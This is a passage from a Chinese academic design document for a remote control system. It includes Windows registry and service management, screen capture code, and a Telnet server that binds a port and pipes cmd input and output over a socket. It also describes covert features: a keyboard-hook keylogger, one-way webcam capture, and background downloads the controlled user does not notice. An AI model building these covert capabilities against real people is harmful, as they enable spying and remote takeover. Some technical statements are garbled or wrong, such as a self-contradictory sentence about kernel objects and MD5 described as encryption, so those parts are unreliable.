第52页共52页(1)进程中剩余的所有线程全部终止运行。进程指定的所有用户对象和GDI对象均被释放,所有内核对象均被关闭。(2)如果没有其他进程打开它们的句柄,那么这些内核对象还将被撤消。但是,如果其他进程打开了它们的句柄,那么这些内核对象还将被撤消。但是,如果其他进程打开了它们的句柄,内核对象将不会撤消它们。(3)进程的退出代码将从STILL_ACTIVE改为传递给ExitProcess或TerminateProcess的值。进程内核对象的使用计数递减1。(4)进程内核对象维护着关于进程的统计信息,即使进程已经终止运行,该信息也是有用的。例如,可能想要知道进程需要多少CPU时间,或者想通过调用GetExitCodeProcess来获得目前已经撤消的进程的退出代码。4.4远程注册表管理的设计与实现为了使系统运行得更为稳定和克服一些系统问题,微软公司在Windows95及其后继版本中,采用了一种叫做“注册表”的数据库来对其进行统一管理,将各种信息资源集中起来并存储各种配置信息。注册表实际上是一个有名无实的东西,在系统中根本就找不到这样一个文件。Windows9X的注册表实际上就是保存在Windows9X安装文件夹中的两个二进制数据文件,一个叫做System.dat另外一个叫做user.dat。所以大家平常所说的注册表,指的实际上就是这两个*.dat文件。按照这一原则,Windows各版本中都采用了将应用程序和计算机系统全部配置信息容纳在一起的注册表,用来管理应用程序和文件的关联、硬件设备说明、状态属性以及各种状态信息和数据等。与INI文件不同的是:(1)注册表采用了二进制形式登录数据;(2)注册表支持子键,各级子关键字都有自己的“键值”;(3)注册表中的键值项可以包含可执行代码,而不是简单的字串;(4)在同一台计算机上,注册表可以存储多个用户的特性。注册表的特点(1)注册表允许对硬件、系统参数、应用程序和设备驱动程序进行跟踪配置,这使得修改某些设置后不用重新启动成为可能。(2)注册表中登录的硬件部分数据可以支持高版本Windows的即插即用的特性。当Windows检测到机器上的新设备时,就把有关数据保存到注册表中,另外,还可以避免新设备与原有设备之间的资源冲突。(3)管理人员和用户通过注册表可以在网络在检查系统配置和设置,使得远程管理可以实现。 第52页共52页4.4.1注册表的组织结构设计在Windows系统的注册表中,所有的数据都是通过一种树状结构以键(KEY,也称项)、根键(HIVEKEY)、子键(SUBKEY,也称子项)和值(VALUE,也称数值、键值)的方式组织起来,就像磁盘文件系统的目录结构一样。也即Windows操作系统注册表是按照三层结构组织的,以层叠式结构排列,由根键à键à子键à键值组成。根键:属于系统定义的配置单元,通过“HKEY_”来表示其内容。在注册表中主要有六个根键,它们分别是:(1)HKEY_CLASSES_ROOT:是基层类别键,用于定义系统中所有已经注册的文件扩展名、文件类型、文件图标等。(2)HKEY_CURRENT_USER:用于定义当前用户的所有权限,其实际上就是HKEY_USER.Default下面的一部分内容,它包含了当前用户的登录信息。(3)HEKY_LOCAL_MACHINE:用于定义相对网络环境而言的本地计算机软硬件的全部信息。该根键在系统的配置和设置发生变化时,也随之改变其下的登录项。(4)HKEY_USERS:用于定义所有用户信息,其中部分分支将映射到HEKY_CURRENT_USER关键字中,它的大部分设置都可以通过“控制面板”来修改。(5)HKEY_CURRENT:用于定义计算机的当前配置情况,如显示器、打印机等可选外部设备及其设置信息等。它实际上就是指向HKEY_LOCAL_MACHINEConfig结构中的某个分支的指针。(6)HKEY_DYN_DATA:用于定义系统运行中的动态数据,实际上就是已发生的事件的有关信息。它主要包含系统硬件的当前状态和那些需要更新与检索的数据,系统每次启动进都要创建此关键字。每个根键是由若干子键组成的,其中每个键名代表一特定的注册项目,键值可分为字符串值、二进制值和DWORD值等,都能用注册表编辑器进行修改。键和子键:(又叫项和子项)它没有特殊的名称表示,以主HKEY_配置单元子目录的形式存在,而且没有附带的数据,只负责组织对数据的访问。键值:(也称值项)用于包含计算机及其应用程序执行时使用的实际数据,键值可以分为字符串值、二进制值和DWORD值等,也可以用注册表编辑器对其进行完全修改。在Windows下,虽然系统提供了远程注册表管理功能,但是需要管理员用户名与密码,而且必须有IPC通道支持,所以使用起来极为不便。现在为了防御蠕虫之类的恶意程序攻击,出于安全考虑,大部分的主机都关闭了IPC通道。所以现在使用系统提供的这个功能是不太实际的。于是,在远程控制系统中,对注册表的管理,得采用模拟的方法来实现。4.4.2注册表功能设计对注册表的管理,设计实现的功能如图4.2所示: 第52页共52页图4.2注册表管理模型注册表中的功能调用TRegistry对象实现。(1)LazyWrite属性,这个属性默认值是TRUE,表示当调用CloseKey()关闭某主键时,该主键和它的键值将被写到注册表中,但CloseKey()不必等到定操作完成才返回,只要调用结束就可以返回。如果这个属性设为FALSE,表示调用CloseKey()关闭某个主键时,要等到该主键和它的键值定到注册表后才能返回。(2)RootKey属性,这个属性指定要访问的根主键,默认的根主键是HKEY_CURRENT_USER。(3)CloseKey函数,这个过程把当前主键定到注册表并关闭当前主键。(4)Create函数,用于创建一个TRegistry对象的实例。(5)GetValueNames函数,这个函数返回当前主键的所有键值名组成的TStrings对象。(6)OpenKey函数:functioinOpenKey(constKey:string;CanCreate:Boolean):Boolean;这个函数返回Key参数指定的主键,换句话说,就是使Key参数指定的主键成为当前主键。如果Key参数为Nil,就把RootKey属性指定的主键设为当前主键。如果Key参数指定的主键不存在,并且CanCreate属性设为TRUE,就创建一个新的主键。(7)ReadString函数,这个函数检索当前主键某个键值的字符串值。(8)WriteString函数,这个函数把一个字符串值写到当前主键的某个键值中。(9)ReadInteger函数,这个函数检索当前主键某个键值的数字值。 第52页共52页(10)WriteInteger函数,这个函数把一个数字值写到当前主键的某个键值中。(11)KeyExists函数,检查项是否存在。(12)DeleteKey函数,删除注册表中的项。(13)MoveKey函数,对注册表中的项重命名。(14)ValueExists函数,检查键值是否存在。(15)RenameValue函数,对注册表中的键值重命名。(16)DeleteValue函数,删除注册表中的键值。因为注册表关系到系统能否正常运行,所心有严格的权限设置,在远程模拟注册表时,所得到是当前登陆的用户权限,管理和设置的是当前用户在系统中分配到的资源和共享的信息与数据。4.5远程服务管理的设计与实现4.5.1服务功能设计在Windows2000/XP/2003系统中,服务执行的是指定的系统功能程序、例程或进程,以便支持其他程序,尤其是低层(接近硬件)程序。通过网络提供服务时,服务可以在ActiveDirectory(活动目录)中发布,从而促进了以服务为中心的管理和使用。服务是一种应用程序类型,它在后台运行。服务应用程序通常可以在本地和通过网络为用户提供一些功能,例如客户端/服务器应用程序、Web服务器、数据库服务器以及其他基于服务器的应用程序。系统服务的功能设计为以下内容:(1)启动、停止、暂停、恢复或禁用远程和本地计算机服务。(2)管理本地和远程计算机上的服务。(3)设置服务失败时的故障恢复操作。例如,重新自动启动服务或重新启动计算机。(4)为特定的硬件配置文件启用或禁用服务。(5)查看每个服务的状态和描述。4.5.2设计获取系统服务调用机制Windows2000/XP/2003本机系统服务又称为Windows本机应用程序编程接口,它是由执行体(Executive)为用户模式和内核模式的程序提供的系统服务集。它包含两种类型的函数:Windows执行系统服务的系统服务调度占位程序;子系统,子系统DLL和其他本机映像使用的内部支持函数。从用户模式调用本机系统服务是通过NTDLL.dll来实现的。表面上,Win32函数为编程人员提供了很多接口来实现想要的功能,但是这些Win32函数只不过是本机应用程序编程接口的一个包装器而已,它们将本机API包装起来,调用本机系统服务来实现用户期望的功能。也就是说NTDLL.dll只是系统服务调用接口在用户模式下的一个外壳。从内核模式调用系统服务,就不能 第52页共52页由NTDLL.dll导出系统服务调用的函数接口了,而是由ntoskrnl.exe来实现的,它会提供两种形式的函数:ZwXxx和NtXxx。需要注意的是,在Windows系统体系结构中的系统服务调用,执行体和内核都是存在于ntoskrnl.exe(在多处理器中为ntkrnlmp.exe)之中,并且是分层的。Windows系统服务调用是存在于Windows系统中的一个关键接口,常常称作SystemCall,SysemServiceCall或SystemServiceDispatching等,本文权且称之为Windows系统服务调用,它提供了操作系统环境由用户态切换到内核态的功能。Windows系统服务的陷阱调度(TrapDispatching)机制包括了:中断(Interrupt),延迟过程调用(DeferredProcedureCall),异步过程调用(AsynchronousProcedureCall),异常调度(ExceptionDispatching)和系统服务调用。在Intelx86的Windows2000系统中,处理器执行int0x2e指令来激活Windows系统服务调用;在Intelx86的WindowsXP系统中处理器却是通过执行sysenter指令使系统陷入系统服务调用程序中;而在AMD的WindowsXP中使用了指令syscall来实现同样的功能。本文使用x86的Windows2000为例来演示,先给出一个系统服务调用的模型:moveax,ServiceIdleaedx,ParameterTableint2ehretParamTableBytes其中,ServiceId清楚的说明了传递给系统服务调用的系统服务号,内核使用这个标识符来查找系统服务调度表(SystemServiceDispathTable)中的对应系统服务信息。在系统服务调度表中的每一项包含了一个指向系统服务程序的指针。ParameterTable是传递的参数,系统服务调用程序KiSystemService必须严格校验传递的每一个参数,并将其参数从线程的用户堆栈中复制到系统的核心堆栈以备使用。由于执行int指令会导致陷阱发生,所以在Windows2000内的中断描述表(IDT=InterruptDescriptorTable)中的0x2e项指向了系统服务调用程序。最后返回的ParamTableBytes是关于参数个数的信息。系统服务调用只是一个接口,它提供了将用户模式下的请求转发到Windows内核的功能,并引发处理器模式的切换。在用户看来,系统服务调用接口就是Windows内核组件功能实现对外的一个界面。系统服务调用接口定义了Windows内核提供的大量服务。4.5.3系统服务的控制与管理设计服务控制管理器拥有一个在注册表中记录的数据库,包含了所有已安装的服务程序和设备驱动服务程序的相关信息。它允许系统管理员为每个服务自定义安全要求和控制访问权限。Windows服务包括四大部分:服务控制管理器(ServiceControl 第52页共52页Manager),服务控制程序(ServiceControlProgram),服务程序(ServiceProgram)和服务配置程序(ServiceConfigurationProgram)。(1)服务控制管理器(SCM)服务控制管理器在系统启动的早期由Winlogon进程启动,可执行文件名是“%SystemRoot%System32Services.exe”,它是系统中的一个RPC服务器,因此服务配置程序和服务控制程序可以在远程操纵服务。它包括以下几方面的信息:已安装服务数据库:服务控制管理器在注册表中拥有一个已安装服务的数据库,它在服务控制管理器和程序添加,删除,配置服务程序时使用,在注册表中数据库的位置为:HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices。它包括很多子键,每个子键的名字就代表一个对应的服务。数据库中包括:服务类型(私有进程,共享进程),启动类型(自动运行,由服务控制管理器启动,无效),错误类型(忽略,常规错误,服务错误,关键错误),执行文件路径,依赖信息选项,可选用户名与密码。自动启动服务:系统启动时,服务控制管理器启动所有“自启”服务和相关依赖服务。服务的加载顺序:顺序装载组列表:HKEY_LOCAL_MACHINESystemCurrentControlSetControlServiceGroupOrde;指定组列表:HKEY_LOCAL_MACHINESystemCurrentControlSetControlGroupOrderList;每个服务所依赖的服务程序。在系统成功引导后会保留一份LKG(Last-Know-Good)的配置信息位于:HKEY_LOCAL_MACHINESYSTEMControlSetXXXServices。因要求而启动服务:用户可以使用服务控制面板程序来启动一项服务。服务控制程序也可以使用StartService来启动服务。服务控制管理器会进行下面的操作:获取帐户信息,登录服务项目,创建服务为悬挂状态,分配登录令牌给进程,允许进程执行。服务记录列表:每项服务在数据库中都包含了下面的内容:服务名称,开始类型,服务状态(类型,当前状态,接受控制代码,退出代码,等待提示),依赖服务列表指针。服务控制管理器句柄:服务控制管理器支持句柄类型访问以下对象:已安装服务数据库,服务程序,数据库的锁开状态。(2)服务控制程序(SCP)服务控制程序可以执行对服务程序的开启,控制和状态查询功能:开启服务:如果服务的开启类型为SERVICE_DEMAND_START,就可以用服务控制程序来开始一项服务。在开始服务的初始化阶段服务的当前状态为:SERVICE_START_PENDING,而在初始化完成后的状态就是:SERVICE_RUNNING。向正在运行的服务发送控制请求:控制请求可以是系统默认的,也可以是用户自定义的。标准控制代码如下:停止服务(SERVICE_CONTROL_STOP),暂停服务(SERVICE_CONTROL_PAUSE),恢复已暂停服务(SERVICE_CONTROL_CONTINUE),获得更新信息(SERVICE_CONTROL_INTERROGATE)。(3)服务程序一个服务程序可能拥有一个或多个服务的执行代码。具体实现时 第52页共52页可以创建类型为SERVICE_WIN32_OWN_PROCESS的只拥有一个服务的服务程序。而类型为SERVICE_WIN32_SHARE_PROCESS的服务程序却可以包含多个服务的执行代码。详情参见后面的Windows服务与编程。(4)服务配置程序编程人员和系统管理员可以使用服务配置程序来更改,查询已安装服务的信息。当然也可以通过注册表函数来访问相关资源。服务的安装,删除和列举:可以使用相关的系统函数来创建,删除服务和查询所有服务的当前状态。服务配置:系统管理员通过服务配置程序来控制服务的启动类型,显示名称和相关描述信息。4.5.4服务模型设计及函数实现通过对Windows系统服务的了解,就可以编程实现对于远程服务的管理。与注册表的管理一样,虽然Windows系统提供了远程系统服务管理的功能,但是由于需要管理员用户名与密码,并且要有IPC通道支持,所以现在用这种方法来实现的话,受到许多限制,在远程控制系统中的应用不切实际。同样,在本文的远程控制系统中,本文采用了远程系统服务模拟的方法来实现对远程主机系统服务的管理。具体要实现的功能如图4.3所示:图4.3服务管理模型系统服务管理的编程编程实现包括几方面的内容,下面本文 第52页共52页将从服务控制程序,服务程序和服务配置程序的角度介绍服务编程相关的内容。(1)服务控制程序在执行服务控制程序的相关函数前,还需要获得一个服务对象的句柄,有两种方式:由OpenSCManager来获得一台特定主机的服务控制管理器数据库的句柄;使用OpenService或CreateService函数来获得某个服务对象的句柄。启动服务:要启动一个服务,服务控制程序可以使用StartService来实现。如果服务控制管理器数据库被锁定,那需要等待一定的时间然后再次测试StartService函数。当然也可以使用QueryServiceLockStatus函数来确认数据库的当前状态。在启动成功完成时,那么dwCurrentState参数将会返回SERVICE_RUNNING值。服务控制请求:服务控制程序使用ControlService函数来发送控制请求到正在运行的服务程序。它会向控制句柄函数发送一个特定的控制命令,可以是系统默认的,也可以是用户自定义的。而且每个服务都会确定自己将会接收的控制命令列表。使用QueryServiceStatus函数时,在返回的dwControlsAccepted参数中表明服务程序将会接收的控制命令。所有的服务都会接受SERVICE_CONTROL_INTERROGATE命令。(2)服务程序一个服务程序内可以包含一个服务或多个服务的执行代码,但是它们都拥有固定的三个部分:服务main函数,服务ServiceMain函数和服务ControlHandler函数。服务main函数:服务程序通常是以控制台的方式存在的,所以它们的入口点都是main函数。在服务控制管理器开始一个服务程序时,会等待StartServiceCtrlDispatcher函数的执行。如果服务类型是SERVICE_WIN32_OWN_PROCESS就会立即调用StartServiceCtrlDispatcher函数的执行;如果服务类型是SERVICE_WIN32_SHARE_PROCESS,通常在初始化所有服务之后再调用它。StartServiceCtrlDispatcher函数的参数就是一个SERVICE_TABLE_ENTRY结构,它包含了进程内所有服务的名称和服务入口点。服务ServiceMain函数:函数ServiceMain是服务的入口点。在服务控制程序请求一个新的服务启动时,服务控制管理器启动一个服务,并发送一个开始请求到控制调度程序,而后控制调度程序创建一个新线程来执行ServiceMain函数。ServiceMain须执行以下的任务:调用RegisterServiceCtrlHandler函数注册一个HandlerEx函数来向服务发送控制请求信息,返回值是服务状态句柄用来向服务控制管理器传送服务状态。初始化后调用SetServiceStatus函数设置服务状态为SERVICE_RUNNING。最后,就是执行服务所要完成的任务。服务Control 第52页共52页Handler函数:每个服务都有一个控制句柄HandlerEx函数。它会在服务进程从服务控制程序接收到一个控制请求时被控制调度程序所调用。无论何时在HandlerEx函数被调用时,都要调用SetServiceStatus函数向服务控制管理器报告它当前的状态。在用户关闭系统时,所有的控制句柄都会调用带有SERVICE_ACCEPT_SHUTDOW控制代码的SetServiceStatus函数来接收NSERVICE_CONTROL_SHUTDOWN控制代码。(3)服务配置程序服务配置程序可以更改或查询服务的当前配置信息。在调用服务配置函数之前,必须获得一个服务对象的句柄,当然也可以通过调用OpenSCManager,OpenService或CreateService函数来获得。创建,删除服务:服务配置程序使用CreateService函数在服务控制管理器的数据库中安装一个新服务,它会提供服务的名称和相关的配置信息并存储在数据库中。服务配置程序则使用DeleteService函数从数据库中删除一个已经安装的服务。4.6远程屏幕监控的设计现实现屏幕控制功能中,首先须捕获屏幕信息并保存在内存中。通常,使用这种方法所得到的都是位图(Bitmap)格式的,虽然清晰度较高,但是涉及的数据量却相当大,不适合在网络中传输。于是,本文在屏幕控制功能中使用了逐行扫描,并在内存中进行数据比较,在网络中只传输屏幕变化的信息(数据)。同时,对于传输的数据,本文采用了专门了数据压缩算法,这在本文后面将会详细介绍压缩算法。经实践测试,当被控端的屏幕信息未发生变化时,网络的数据传输量可以达到0。在屏幕监控功能中,控制端还需要传输鼠标终端信息给被控端。这就需要在控制端模拟远程主机屏幕的坐标,使得鼠标终端信息中的鼠标位置信息得以精确的表达。下面说明屏幕控制功能的实现。4.6.1捕捉屏幕设计与实现通过下面的具体函数来说明屏幕捕获的实现。procedureTMainSvr.GetScreen(varbmp:TBitmap);vardc:integer;c:TCanvas;R:TRect;beginbmp:=TBitmap.Create;//创建位图,用于保存捕获的屏幕图像;dc:=GetWindowDC(0);//取得屏幕的DC,参数0指的是屏幕;tryc:=TCanvas.Create;//创建一个Canvas对象; 第52页共52页c.Handle:=dc;R:=Rect(0,0,Screen.Width,Screen.Height);//捕获屏幕,选择捕获范围为全屏;bmp.PixelFormat := pf24bit;  //设置图像为24位真彩色;bmp.Width:=R.Right;bmp.Height:=R.Bottom;bmp.Canvas.CopyRect(R,c,R);//把整个屏幕复制到bmp中;c.Handle:=0;c.Free;//释放Canvas;finallyReleaseDC(0,dc);//释放DC;end;end;TCanvas对象是一个用于绘图的表面,在这个区域上,程序可实现各种绘图功能。控件TImage的Canvas属性就是TCanvas对象。TCanvas.Pixels属性是一个二维数组,它的每个元素代表窗体表面或客户区的一个像素的TColor值。TCanvas.CopyRect属性决定了画布如何从另一个画布中复制图像。通过这种方式捕获得到的图像是位图格式,像素及捕捉的范围可以自己行设定,但是为了方便远程控制,一般都采用全屏捕捉。捕捉后的数据以数据流的形式保存在内存中,经过专门的压缩算法处理后,再传送给控制端。4.6.2屏幕鼠标终端控制的实现控制端接收到屏幕信息数据流时,对数据进行解压,再显示在TImage控件中。因此,只需要在TImage控件中构建一个与被控端屏幕一样的坐标,再把鼠标的位置信息与操作信息按照一定的整合方式整合,最后发给被控端执行,并由被控端把模拟坐标转换成实际坐标。设置当前鼠标位置:BOOLSetCursorPos(intX,//horizontalpositionintY//verticalposition);X为模坐标,Y为纵坐标。通过对函数SetCursorPos 第52页共52页的调用,就可以把鼠标称动到指定的位置。模拟鼠标操作:VOIDmouse_event(DWORDdwFlags,//flagsspecifyingvariousmotion/clickvariantsDWORDdx,//horizontalmousepositionorpositionchangeDWORDdy,//verticalmousepositionorpositionchangeDWORDdwData,//amountofwheelmovementDWORDdwExtraInfo//32bitsofapplication-definedinformation);单击鼠标左键:SetCursorPos(CurX,CurY);Mouse_Event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);Mouse_Event(MOUSEEVENTF_LEFTUP,0,0,0,0);单击鼠标右键:SetCursorPos(CurX,CurY);Mouse_Event(MOUSEEVENTF_RIGHTDOWN,0,0,0,0);Mouse_Event(MOUSEEVENTF_RIGHTUP,0,0,0,0);双击鼠标左键:SetCursorPos(CurX,CurY);Mouse_Event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);Mouse_Event(MOUSEEVENTF_LEFTUP,0,0,0,0);Mouse_Event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);Mouse_Event(MOUSEEVENTF_LEFTUP,0,0,0,0);在远程网络控制系统中,鼠标控制功能是共享的被控端的,所以它的操作是当前用户可见的,控制端的鼠标信息会及时在被控端得心响应。同时,被控端的鼠标操作照样可以进行。如果两个操作动作同时进行,则由网络远程控制系统先执行操作,再执行被控制端的鼠标操作。这样,它们之间就没有什么冲突了。4.7Telnet终端的设计与实现Telnet是TCP/IP环境下的终端仿真协议,通过TCP建立服务器与客户机之间的连接。连接之后,Telnet服务器与客户机进入协商阶段(决定可选项),选定双方都支持连接操作,每个连接系统可以协商新可选项或重协商旧可选项(在任何时候)。通常TELNET任一端尽量执行所有可选项以实现系统最大化性能。一旦建立TELNET连接,连接两端在网络虚拟终端(NVT)中可以发起或中断。NVT 第52页共52页是一种假定设备,它是对规范终端的标准的、泛网络的、中间的表示,从而避免了“服务器”与“用户”需要维护终端和终端处理范例等信息的需要。协商可选项原则基于这个事实:任何主机都希望在NVT上提供其它可用的服务,以及任何用户都有精良的终端设备和需要优质的服务。一旦TELNET连接建立,由于每一方都希望从另一方获得尽可能多的服务,连接双方间的可选请求会不断来回传送。除此之外,这些可选请求还可用于动态修改连接特性以适应不断改变的本地环境。本文设计的Telnet终端是独立于系统服务的Telnet终端的,它的实现分为以下两个部分组成。4.7.1Telnet服务端设计Telnet服务终端的实现,主要需要实现两个主要的功能,即绑定端口和cmd重定向。绑定端口用于接收网络数据,处理连接请求,在连接建立之后,循环执行接受命令和返回命令执行结果的功能。cmd重定向到监听的端口,创建两个管道,分别用于读数据与写数据。双管道的使用保证了接收数据与发送数据具有相对独立性,并且可以同时进行,不会发生冲突。写数据的管道线程实现如下代码:DWORDWINAPIThreadFuncA(LPVOIDlpParam){SECURITY_ATTRIBUTESpipeattr;DWORDnByteToWrite,nByteWritten;charrecv_buff[10240];pipeattr.nLength=sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor=NULL;pipeattr.bInheritHandle=TRUE;//创建管道,用于写数据;CreatePipe(&hReadPipe,&hWriteFile,&pipeattr,0);varA=1;while(sgn){Sleep(250);nByteToWrite=recv(ClientSocket,recv_buff, 第52页共52页1024,0);WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);}return0;}读取数据管道线程函数如下:DWORDWINAPIThreadFuncB(LPVOIDlpParam){SECURITY_ATTRIBUTESpipeattr;DWORDlen;charsend_buff[10240];pipeattr.nLength=sizeof(SECURITY_ATTRIBUTES);pipeattr.lpSecurityDescriptor=NULL;pipeattr.bInheritHandle=TRUE;//创建管道,用于读取数据;CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);varB=1;while(sgn){ReadFile(hReadFile,send_buff,25000,&len,NULL);send(ClientSocket, 第52页共52页send_buff,len,0);}return0;}在程序实现时,需要设计这两个线程同步,Telnet终端服务的服务端的功能就能够实现了。4.7.2Telnet客户端设计Telnet客户端要实现的功能是向Telnet服务端发送连接请求,并建立连接,然后接收键盘终端输入,发送给服务端执行;同时,它也需要接收从Telnet服务端返回的命令执行结果信息。在最终实现上,它创建两个同步线程,一个用于读取缓存中的键盘终端信息,另一个用于接收网络数据,并把接收到的数据信息显示在终端上。读取缓存中键盘终端命令,并发送给Telnet服务端的线程代码:DWORDWINAPIThreadFuncB(LPVOIDlpParam){charbuf[1025]={0};intBlockLen=0;while(1){gets(buf);strcat(buf,"n");//读取缓存;if(stricmp(buf,"exitn")==0){TerminateThread(handle[0],0);break;}//发送键盘终端命令;BlockLen=send(client,buf,strlen(buf),0);if(BlockLen<0){printf("nErroroccuerdwhilesenddata.");TerminateThread(handle[0],0);break; 第52页共52页}}return-1;}接收Telnet服务端返回的数据信息线程如下:DWORDWINAPIThreadFuncA(LPVOIDlpParam){charbuf[1025]={0};intBlockLen=0;while(1){Sleep(200);strset(buf,"");//接收网络数据;BlockLen=recv(client,buf,1024,0);//if(BlockLen>0){printf("%s",buf);//在终端上显示接收到的命令返回信息;}else{printf("nErroroccuredwhilerecvdata.");TerminateThread(handle[1],0);break;}}return-1;}客户端设计为一个独立的程序,在使用时由主程序调用,调用结束后,自动结束进程,并释放资源。4.9综合功能的设计与实现本文设计的网络远程控制系统功能非常强大,通过前文对本系统中主要功能的说明,现在已经有了一个大体上的框架了。接着,本文对系统涉及的其它功能,做一个简单的设计说明。 第52页共52页4.9.1聊天功能的设计与实现无论在远程监控、远程教育还是远程网络办公,都有控制端与被控端进行信息交流的必要,最直接有效的方法就是设计一个聊天功能。本系统的聊天功能在通常的文本聊天之上加入了视频(对摄像头信息的的捕捉)。(1)文本聊天功能文本聊天功能是将控制端或被控制端用户聊天内容,通过Socket发送给对方,同时,在聊天记录时加入发送的内容。当接到聊天信息时,信使窗口会自动弹出,以及时提醒用户进行信息交流,同时把接收到的信息显示在信使面板上并存存储记录。被控端:当接收到控制端发送的聊天请求时,马上开启一个线程,监听一个端口,用于接收和发送聊天信息。当控制端没有发出聊天请求,而它们之间已经建立了网络连接时,被控制端也可以主动提出聊天请求。控制端:当控制端的用户需要与被控端的用户进行信息交流时,可以开启聊天功能,并主动连接被控端。当然,它也可以接受来自被控端的聊天请求。单文本聊天这一功能来说,控制端与被控端是对等的,它们之间没有主从之分,从而更方便双方的信息交流。(2)视频功能本文的视频聊天功能是利用摄像头实现的,在编程实现时,通过对AVICAP32.DLL的调用,实现了对摄像头信息的捕获,再经过内存中对数据的压缩,传递给控制端。在此功能上,控制端与被控端是非对等的,只有控制端能够获取被控制端的摄像头信息,这也正是远程控制软件本身的一个特点。4.9.2远程鼠标控制的实现鼠标控制功能主要有四个:锁定、解锁、交换、恢复;①锁定鼠标功能:程序获取当前鼠标的位置信息,再把鼠标恒定于这个位置信息指针上,就实现了对鼠标的锁定。②鼠标解锁功能:释放鼠标位置信息,把鼠标的位置指针指向空,即可实现鼠标解锁。③交换鼠标左右键:调用系统函数SwapMouseButton实现。④恢复鼠标左右键:也是调用系统函数SwapMouseButton实现。4.9.3远程键盘监控的实现键盘监控功能使用到了系统钩子技术。当被控端接收到键盘记录命令时,程序立即安装键盘钩子,启动对键盘的监视,并截取键盘的按键值,最后把按键值转换为键名并存储。直到程序接收到停止键盘记录命令时,才卸载钩子停止记录,并释放资源。 第52页共52页最后,被控端接受到查看键盘记录命令时,从记录文件中载入记录信息,再以文本的形式发送给控制端。钩子技术涉及到的技术含量较高,它也是本系统实现的关键技术之后,在后面关于关键技术说明的小节里,再对其具体实现做详细的说明。4.9.4远程URL文件下载的实现URL文件下载功能在被控端的后台进行,完全不影响被控端用户的各种操作。它对于被控端的用户来说是透明的。在编程实现时,程序用到了一个UrlMon类,它将URL文件下载功能已经封装好了,笔者只是对其类中的API函数UrlDownloadToFile进行调用即可。如果文件下载失败,被控制端会及时给控制端发送下载失败的消息。否则,等到文件下载完成时,再通知控制端。4.9.5远程关机功能的实现本系统中采用让控制端Socket给被控端的Socket发送相关的指令,同时当被控端收到相应的指令后,就执行相对应的操作指令,这些操作当然是在服务端的计算机上所进行的。而这个操作实质就是调用相应的函数来处理,这个函数及其参数说明就是如下:BOOL ExitWindowsEx(UINTuFlags,DWORDdwReserved);在其中uFlags可以有的取值:EWX_LOGOFF:注消;EWX_POWEROFF:强制关机; EWX_REBOOT:重启;EWX_SHUTDOWN:先保存再关机; EWX_FORCE:不保存就关机; EWX_FORCEIFHUNG:不保存就关机(WIN2K以上版本);4.9.6远程硬件探测功能设计(1)CPU探测利用利用CPUID汇编指令(机器码:0FHA2H,如果编译器不支持CPUID指令,只有emit机器码了),该指令可以被如下CPU识别:Intel486以上的CPU,CyrixM1以上的CPU,AMDAm486以上的CPU①取CPUOEM字符串,判断CPU厂商先让EAX=0,再调用CPUIDInel的CPU将返回: 第52页共52页EBX:756E6547H"Genu"EDX:49656E69H"ineI"ECX:6C65746EH"ntel"EBX,EDX,ECX将连成"GenuineIntel",真正的Intel。Cyrix的CPU将返回:EBX:43797269HEDX:78496E73HECX:74656164H"CyrixInstead","Cyrix来代替"。AMD的CPU将返回:EBX:41757468HEDX:656E7469HECX:63414D44H"AuthenticAMD",可信的AMD。②CPU到底是几86,是否支持MMX先让EAX=1,再调用CPUIDEAX的8到11位就表明是几863-3864-i4865-Pentium6-PentiumProPentiumII2-DualProcessorsEDX的第0位:有无FPUEDX的第23位:CPU是否支持IAMMX,这很重要!如果想用那57条新增的指令,须先检查这一位,否则Windows弹出的“该程序执行了非法指令,将被关闭。”③专门检测是否P6架构先让EAX=1,再调用CPUID如果AL=1,就是PentiumPro或PentiumII④专门检测AMD的CPU信息先让EAX=80000001H,再调用CPUID如果EAX=51H,是AMDK5如果EAX=66H,是K6EDX第0位:是否有FPUEDX第23位,CPU是否支持MMX 第52页共52页(2)内存探测内存探测功能主要实现以下功能:①正在使用内存的百分比;②物理内存总大小;③可使用的物理内存大小;④交换文件总大小;⑤尚可交换文件大小;⑥总虚拟内存大小;⑦未用虚拟内存大小;内存信息探测结构体如下:TMemoryStatus=recorddwLength:DWORD;dwMemoryLoad:DWORD;dwTotalPhys:DWORD;dwAvailPhys:DWORD;dwTotalPageFile:DWORD;dwAvailPageFile:DWORD;dwTotalVirtual:DWORD;dwAvailVirtual:DWORD;5远程控制系统的数据处理本章对远程控制软件系统中的数据数据处理部分进行详细的说明,其中包括对数据的加密解密,数据的压缩等功能。在本系统中,数据的加密解密是为了保证软件的安全性,可以防止网络嗅探攻击和本地密码被窃。数据的压缩主要实现了在网络中传输时,有尽量小的流量,使网络远程控制系统运行更为流畅。它们在本系统中都扮演着很重要的角色,缺一不可。5.1数据加密远程控制系统本身就要求有较高的安全性,它必须有自己的一套安全机制。本文中除了采用密码验证外,还使用了经典的加密算法(DES和MD5),其中DES是可逆加密算法,在有密钥的情况下,可以对加密的密文进行还原。前面提到了本系统中采用了MicrosoftAccess数据库存储信息,出于安全设计,本文对连接服务器的密码进行了DES加密。它实现了对密码的加密存储,在连接远程服务端时,系统从数据库中读取密文,结合预先设定的密钥,解开密码原文,再经过MD5加密,发送给服务端验证。目前,MD5 第52页共52页加密算法有16位加密与32位加密算法,32位加密算法的更为安全,因此,本文中采用了32位MD5加密。5.1.1DES加密与解密研究最著名的保密密钥或对称密钥加密算法DES(DataEncryptionStandard)是由IBM公司在70年代发展起来的,并经过政府的加密标准筛选后,于1976年11月被美国政府采用,DES随后被美国国家标准局和美国国家标准协会(AmericanNationalStandardInstitute,ANSI)承认。DES使用56位密钥对64位的数据块进行加密,并对64位的数据块进行16轮编码。与每轮编码时,一个48位的“每轮”密钥值由56位的完整密钥得出来。DES用软件进行解码需要用很长时间,而用硬件解码速度非常快,但幸运的是当时大多数黑客并没有足够的设备制造出这种硬件设备。在1977年,人们估计要耗资两千万美元才能建成一个专门计算机用于DES的解密,而且需要12个小时的破解才能得到结果。所以,当时DES被认为是一种十分强壮的加密方法。但是,当今的计算机速度越来越快了,制造一台这样特殊的机器的花费已经降到了十万美元左右,所以用它来保护十亿美元的银行间线缆时,就会仔细考虑了。另一个方面,如果只用它来保护一台服务器,那